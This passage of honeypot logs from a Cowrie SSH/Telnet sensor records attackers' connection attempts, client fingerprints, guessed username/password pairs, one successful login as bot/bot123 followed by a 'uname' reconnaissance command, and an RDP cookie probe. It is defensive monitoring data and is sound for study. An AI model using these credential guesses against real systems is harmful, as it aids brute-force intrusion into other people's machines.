c-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:55.884736Z","src_ip":"31.40.204.166","session":"310a76d7c9ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"passw0rd","message":"login attempt [user/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:56.310793Z","src_ip":"31.40.204.166","session":"310a76d7c9ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:57.489072Z","src_ip":"31.40.204.166","session":"310a76d7c9ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.70153856277466,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:58.194795Z","src_ip":"152.42.224.71","session":"659fcb605a45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":36298,"dst_ip":"159.203.135.109","dst_port":22,"session":"790703423107","protocol":"ssh","message":"New connection: 47.237.167.49:36298 (159.203.135.109:22) [session: 790703423107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:01.084494Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":54722,"dst_ip":"159.203.135.109","dst_port":22,"session":"658b38669712","protocol":"ssh","message":"New connection: 31.40.204.166:54722 (159.203.135.109:22) [session: 658b38669712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:07.722265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:07.727340Z","src_ip":"31.40.204.166","session":"658b38669712","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:07.898258Z","src_ip":"31.40.204.166","session":"658b38669712","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34582,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7213ec899ea","protocol":"telnet","message":"New connection: 152.42.224.71:34582 (10.17.0.5:23) [session: a7213ec899ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:08.017262Z"}
{"eventid":"cowrie.login.failed","username":"amrita","password":"amrita","message":"login attempt [amrita/amrita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:08.498063Z","src_ip":"31.40.204.166","session":"658b38669712","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:09.689383Z","src_ip":"31.40.204.166","session":"658b38669712","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34598,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e7049a03b3b","protocol":"telnet","message":"New connection: 152.42.224.71:34598 (10.17.0.5:23) [session: 9e7049a03b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:09.944956Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34614,"dst_ip":"10.17.0.5","dst_port":23,"session":"9aa625b18609","protocol":"telnet","message":"New connection: 152.42.224.71:34614 (10.17.0.5:23) [session: 9aa625b18609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:11.001799Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34616,"dst_ip":"10.17.0.5","dst_port":23,"session":"8045ba23f97a","protocol":"telnet","message":"New connection: 152.42.224.71:34616 (10.17.0.5:23) [session: 8045ba23f97a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:13.210562Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34628,"dst_ip":"10.17.0.5","dst_port":23,"session":"085af2e0cdff","protocol":"telnet","message":"New connection: 152.42.224.71:34628 (10.17.0.5:23) [session: 085af2e0cdff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:13.929955Z"}
{"eventid":"cowrie.session.closed","duration":7.471998453140259,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:18.473459Z","src_ip":"152.42.224.71","session":"9aa625b18609","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40098,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8a5364f0c0b","protocol":"telnet","message":"New connection: 152.42.224.71:40098 (10.17.0.5:23) [session: f8a5364f0c0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:18.565002Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":59350,"dst_ip":"159.203.135.109","dst_port":22,"session":"72c12c531a6e","protocol":"ssh","message":"New connection: 47.237.167.49:59350 (159.203.135.109:22) [session: 72c12c531a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:19.730120Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34618,"dst_ip":"10.17.0.5","dst_port":23,"session":"d37e361e3030","protocol":"telnet","message":"New connection: 152.42.224.71:34618 (10.17.0.5:23) [session: d37e361e3030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:20.682338Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49160,"dst_ip":"159.203.135.109","dst_port":22,"session":"46f6c157000e","protocol":"ssh","message":"New connection: 31.40.204.166:49160 (159.203.135.109:22) [session: 46f6c157000e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:20.906105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:20.911021Z","src_ip":"31.40.204.166","session":"46f6c157000e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:21.082741Z","src_ip":"31.40.204.166","session":"46f6c157000e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot123","message":"login attempt [bot/bot123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:21.524547Z","src_ip":"31.40.204.166","session":"46f6c157000e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:21.876737Z","src_ip":"31.40.204.166","session":"46f6c157000e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:21.880130Z","src_ip":"31.40.204.166","session":"46f6c157000e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:22.011919Z","src_ip":"31.40.204.166","session":"46f6c157000e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:22.017148Z","src_ip":"31.40.204.166","session":"46f6c157000e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.492863178253174,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:22.766023Z","src_ip":"152.42.224.71","session":"18ff0a242dde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.545109033584595,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:26.467083Z","src_ip":"152.42.224.71","session":"e1bffe4fa7ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44574,"dst_ip":"10.17.0.5","dst_port":23,"session":"874ff9f47771","protocol":"telnet","message":"New connection: 152.42.224.71:44574 (10.17.0.5:23) [session: 874ff9f47771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:28.364202Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":49936,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4e8236f6c17","protocol":"ssh","message":"New connection: 167.172.81.52:49936 (10.17.0.5:22) [session: b4e8236f6c17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:28.709225Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:28.714760Z","src_ip":"167.172.81.52","session":"b4e8236f6c17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:28.781826Z","src_ip":"167.172.81.52","session":"b4e8236f6c17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:30.292065Z","src_ip":"47.237.167.49","session":"ce0999a73566","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44578,"dst_ip":"10.17.0.5","dst_port":23,"session":"b38b3916ec6d","protocol":"telnet","message":"New connection: 152.42.224.71:44578 (10.17.0.5:23) [session: b38b3916ec6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:30.352477Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":56464,"dst_ip":"159.203.135.109","dst_port":22,"session":"17da2f31d4f8","protocol":"ssh","message":"New connection: 31.40.204.166:56464 (159.203.135.109:22) [session: 17da2f31d4f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:32.583850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:32.596363Z","src_ip":"31.40.204.166","session":"17da2f31d4f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:32.922264Z","src_ip":"31.40.204.166","session":"17da2f31d4f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:33.500417Z","src_ip":"31.40.204.166","session":"17da2f31d4f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44594,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0b3cb687aed","protocol":"telnet","message":"New connection: 152.42.224.71:44594 (10.17.0.5:23) [session: e0b3cb687aed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:33.983419Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:34.698088Z","src_ip":"31.40.204.166","session":"17da2f31d4f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59752,"dst_ip":"10.17.0.5","dst_port":23,"session":"beb014a768c7","protocol":"telnet","message":"New connection: 152.42.224.71:59752 (10.17.0.5:23) [session: beb014a768c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:36.127771Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":50888,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea609a6cfa92","protocol":"ssh","message":"New connection: 62.133.62.83:50888 (159.203.135.109:22) [session: ea609a6cfa92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:38.791508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:38.800198Z","src_ip":"62.133.62.83","session":"ea609a6cfa92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:38.878685Z","src_ip":"62.133.62.83","session":"ea609a6cfa92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"656565","message":"login attempt [root/656565] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:39.114162Z","src_ip":"62.133.62.83","session":"ea609a6cfa92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:40.195917Z","src_ip":"62.133.62.83","session":"ea609a6cfa92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59768,"dst_ip":"10.17.0.5","dst_port":23,"session":"b822f9069a3a","protocol":"telnet","message":"New connection: 152.42.224.71:59768 (10.17.0.5:23) [session: b822f9069a3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:41.802384Z"}
{"eventid":"cowrie.session.closed","duration":56.80606937408447,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:42.512825Z","src_ip":"152.42.224.71","session":"d2d385f478be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":46194,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9f580a7f0a7","protocol":"ssh","message":"New connection: 31.40.204.166:46194 (159.203.135.109:22) [session: c9f580a7f0a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:44.927474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:44.934035Z","src_ip":"31.40.204.166","session":"c9f580a7f0a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.96.97","src_port":57948,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae4f628172ae","protocol":"ssh","message":"New connection: 43.156.96.97:57948 (10.17.0.5:22) [session: ae4f628172ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:45.048110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:45.056825Z","src_ip":"43.156.96.97","session":"ae4f628172ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:29:45.102214Z","src_ip":"31.40.204.166","session":"c9f580a7f0a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-